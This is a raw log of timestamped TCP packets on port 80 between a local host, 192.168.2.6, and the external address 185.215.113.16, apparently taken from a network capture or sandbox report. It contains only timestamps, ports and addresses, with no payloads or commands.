Oct 29, 2024 20:45:02.965620041 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.965658903 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.965717077 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.965729952 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.965768099 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.965898037 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.965910912 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.965922117 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.965936899 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.965950012 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.965972900 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.967097044 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.967308044 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.967327118 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.967350006 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.967379093 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.967415094 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.967426062 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.967489958 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.967500925 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.967511892 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.967536926 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.967561007 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.967612028 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.967696905 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.967741013 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.967775106 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.967787027 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.967832088 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.967835903 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.967875004 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.967935085 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.967968941 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.968055964 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.968065977 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.968092918 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.968138933 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.968173027 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.968233109 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.968245029 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.968255043 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.968290091 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.970899105 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.970920086 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.970932007 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.970968962 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.970980883 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.971079111 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.971091032 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.971101999 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.971129894 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.971271992 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.971283913 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.971290112 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.971296072 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.971302032 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:02.971330881 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.971348047 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:02.971518993 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.011955023 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.012028933 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.012067080 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.012092113 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.012101889 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.012136936 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.012137890 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.012175083 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.012185097 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.012208939 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.012243986 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.012289047 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.012306929 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.012347937 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.080661058 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.080703020 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.080715895 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.080828905 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.081386089 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.081449986 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.081463099 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.081507921 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.081522942 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.081618071 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.081675053 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.081686974 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.081698895 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.081716061 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.081746101 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.081916094 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.081927061 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.081937075 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.081959009 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.084055901 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.084127903 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.084139109 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.084155083 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.084173918 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.084311962 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.084322929 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.084333897 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.084345102 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.084362984 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.084387064 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.084573984 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.084592104 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.084630013 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.084728956 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.084741116 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.084750891 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.084791899 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.084794044 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.084805965 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.084815979 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.084827900 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.084840059 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.084867954 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.085199118 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.086175919 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.086838007 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.086888075 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.086899996 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.086931944 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.087028980 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.087039948 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.087069035 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.087152958 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.087162971 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.087172985 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.087184906 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.087193012 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.087196112 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.087210894 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.087238073 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.087420940 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.087434053 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.087444067 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.087455034 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.087466955 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.087479115 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.087507010 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.127880096 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.127954960 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.127959013 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.127995014 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.128029108 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.128063917 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.128073931 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.128098965 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.128112078 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.128153086 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.128194094 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.128204107 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.130054951 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.130111933 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.130314112 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.152154922 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.196448088 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.196510077 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.196544886 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.196597099 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.196624994 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.202441931 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.202497959 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.202532053 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.202574968 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.202656031 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.202689886 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.202702045 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.202725887 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.202765942 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.202805996 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.203037024 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203071117 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203087091 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.203120947 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203155994 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203190088 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203203917 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.203223944 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203233957 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.203277111 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203330994 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203372955 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.203664064 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203697920 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203710079 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.203732014 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203764915 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203799009 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203804016 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.203830957 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203845024 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.203865051 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203898907 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203933954 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203946114 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.203968048 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.203974009 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.204004049 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.204333067 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.204365969 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.204379082 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.204408884 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.204453945 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.204488039 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.204544067 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.204580069 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.204587936 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.204613924 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.204619884 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.204648972 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.204683065 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.204716921 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.204724073 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.204751015 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.204760075 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.205202103 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.205235004 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.205269098 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.205285072 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.205303907 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.205311060 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.205338001 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.205369949 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.205416918 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.243602991 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.243670940 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.243683100 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.243696928 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.243722916 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.243776083 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.243824005 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.243834972 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.243846893 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.243855953 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.243870020 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.243906975 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.309734106 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.309861898 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.310504913 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.312752962 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.312764883 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.312777042 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.312820911 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.312865019 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.317984104 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318038940 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318052053 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318093061 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.318195105 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318207979 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318218946 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318231106 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318240881 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.318254948 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.318382978 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318419933 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.318459988 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318470955 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318481922 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318494081 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318510056 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318511009 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.318542957 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.318734884 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318747997 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318758965 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318769932 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318773985 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.318783045 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.318789005 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.318823099 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.319009066 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.319020987 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.319031954 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.319044113 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.319056034 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.319083929 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.319255114 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.319267035 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.319278002 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.319284916 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.319292068 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.319291115 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.319335938 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.319983959 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320024967 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320039034 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320076942 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.320183039 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320194006 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320204020 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320215940 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320219040 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.320228100 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320245981 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.320413113 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320441961 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.320493937 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320507050 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320517063 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320529938 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320542097 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320545912 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.320585966 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.320750952 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320768118 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320780039 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320789099 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320801020 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320808887 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.320813894 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320818901 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.320831060 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.320856094 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.359639883 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.359652996 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.359666109 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.359699011 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.359741926 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.359761953 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.359865904 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.359879017 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.359909058 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.359992981 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.360002995 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.360037088 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.427984953 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.428033113 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.428045988 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.428106070 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.428144932 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.428165913 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.428177118 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.428221941 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.434063911 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.434144020 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.434154987 CET	80	62424	185.215.113.16	192.168.2.6
Oct 29, 2024 20:45:03.434202909 CET	62424	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:45:03.434236050 CET	80	62424	185.215.113.16	192.168.2.6
